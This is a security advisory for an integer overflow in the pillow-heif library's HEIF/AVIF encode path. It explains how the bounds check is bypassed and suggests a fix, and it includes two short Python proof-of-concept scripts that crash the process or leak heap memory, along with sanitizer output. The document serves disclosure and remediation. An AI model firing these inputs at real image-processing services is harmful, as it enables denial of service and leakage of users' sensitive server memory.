CVE-2026-28231: Pillow HEIF Plugin Crashes or Discloses Data with Malformed Images

### Summary

An integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

### Details

The buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough:

```c
// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
PyBuffer_Release(&buffer);
PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
return NULL;
}
```

Both `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with `stride_in = 196608` (65536 × 3 for RGB) and `height = 65536`:
- True product: 12,884,901,888
- `int32` product: 0 (wraps around)
- Comparison: `0 > buffer.len` → `false` → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

```c
for (int i = 0; i < height; i++)
memcpy(out + stride_out * i, in + stride_in * i, real_stride);
```

Additionally, `real_stride = width * n_channels` (e.g., line 148: `real_stride = width * 3`) is also computed as `int * int`, which can independently overflow for large `width` values.

This vulnerability exists in the **encode path**, which is distinct from the decode path:
- The decode path is partially guarded by libheif's built-in security limits
- The encode path has **no such guards** — `DISABLE_SECURITY_LIMITS` is irrelevant
- The encode path is reachable whenever an application calls `pillow_heif.encode()` or saves an image via Pillow with `format="HEIF"` / `format="AVIF"`

**Affected functions** (all in `_pillow_heif.c`):
- `_CtxWriteImage_add_plane()` — line 158
- `_CtxWriteImage_add_plane_la()` — line 344
- `_CtxWriteImage_add_plane_l()` — line 449

**CWE**: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

### PoC

#### Prerequisites

```bash
pip install pillow-heif Pillow
```

For ASAN confirmation:

```bash
# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
```

#### Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

```python
import pillow_heif
from io import BytesIO

# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)

buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
print(f"[*] MemoryError (libheif caught it later): {e}")
print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
```

Without ASAN, this crashes the process with **exit code 138 (SIGBUS)** or **139 (SIGSEGV)**.

#### Test 2: Explicit stride — small image, immediate crash

```python
import pillow_heif
from io import BytesIO

# 100x100 pixels — well within any security limit
# stride=INT_MAX (2,147,483,647), height=100
# INT_MAX * 100 overflows int32 → small or negative value
# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer
width = 100
height = 100
stride_val = 2_147_483_647
small_buffer = b"\x00" * 256

buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), small_buffer, buf,
quality=-1, stride=stride_val)
print("[!] encode() succeeded — bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
```

Without ASAN, this crashes with **exit code 139 (SIGSEGV)**.

#### ASAN confirmation

With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:

```
==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
#0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)
#1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
#2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
#3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
...

0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)
allocated by thread T0 here:
#0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)
...

SUMMARY: AddressSanitizer: negative-size-param
(_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc
```

The overflow in `stride_in * height` (98304 × 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.

### Impact

**Who is impacted**: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:

- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
- Content management systems that convert uploaded images to HEIF/AVIF
- Image processing pipelines that accept user-specified output dimensions

**Information Disclosure (Heartbleed-like)**: The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:
- Other users' request data
- Python objects (strings, byte arrays)
- Session tokens, API keys, or other sensitive data from the server's heap

**Denial of Service**: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).

**Suggested fix**: Cast operands to `Py_ssize_t` before multiplication at all three locations:

```c
// Before (vulnerable):
if (stride_in * height > buffer.len) {

// After (fixed):
if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {
```

**Prior art**:
- CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5
- CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8

CWE-125 Out-of-bounds Read

CWE-190 Integer Overflow